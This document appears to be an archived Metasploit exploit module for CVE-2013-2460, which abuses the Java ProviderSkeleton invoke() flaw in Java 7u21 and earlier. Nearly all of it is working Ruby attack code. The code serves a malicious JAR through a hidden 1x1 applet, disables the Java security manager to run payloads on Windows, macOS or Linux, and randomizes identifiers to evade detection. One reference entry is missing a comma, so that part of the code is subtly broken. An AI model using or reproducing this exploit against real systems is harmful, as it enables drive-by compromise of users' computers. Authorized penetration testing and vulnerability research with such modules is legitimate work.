Java Applet ProviderSkeleton Insecure Invoke Method Exploit

:
02.07.2013
:
:
Oracle Java

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })

EXPLOIT_STRING = "Exploit"

def initialize( info = {} )

super( update_info( info,
'Name' => 'Java Applet ProviderSkeleton Insecure Invoke Method',
'Description' => %q{
This module abuses the insecure invoke() method of the ProviderSkeleton class that
allows to call arbitrary static methods with user supplied arguments. The vulnerability
affects Java version 7u21 and earlier.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory and also POC
'Matthias Kaiser' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-2460' ],
[ 'OSVDB', '94346' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2013-1899847.html']
[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/160cde99bb1a' ],
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-12.pdf' ],
[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-61.zip' ]
],
'Platform' => [ 'java', 'win', 'osx', 'linux' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 18 2013'
))
end

def randomize_identifier_in_jar(jar, identifier)
identifier_str = rand_text_alpha(identifier.length)
jar.entries.each { |entry|
entry.name.gsub!(identifier, identifier_str)
entry.data = entry.data.gsub(identifier, identifier_str)
}
end


def setup
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "Exploit.class")
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "ExpProvider.class")
@provider_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "DisableSecurityManagerAction.class")
@action_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

@exploit_class_name = rand_text_alpha(EXPLOIT_STRING.length)
@exploit_class.gsub!(EXPLOIT_STRING, @exploit_class_name)

super
end

def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")

case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
jar.add_file("ExpProvider.class", @provider_class)
jar.add_file("DisableSecurityManagerAction.class", @action_class)
randomize_identifier_in_jar(jar, "metasploit")
randomize_identifier_in_jar(jar, "payload")
jar.build_manifest

send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error("Failed to generate the payload.")
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
end

end

def generate_html
html = %Q|
<html>
<body>
<applet archive="#{rand_text_alpha(rand(5) + 3)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>
</body>
</html>
|
return html
end

end

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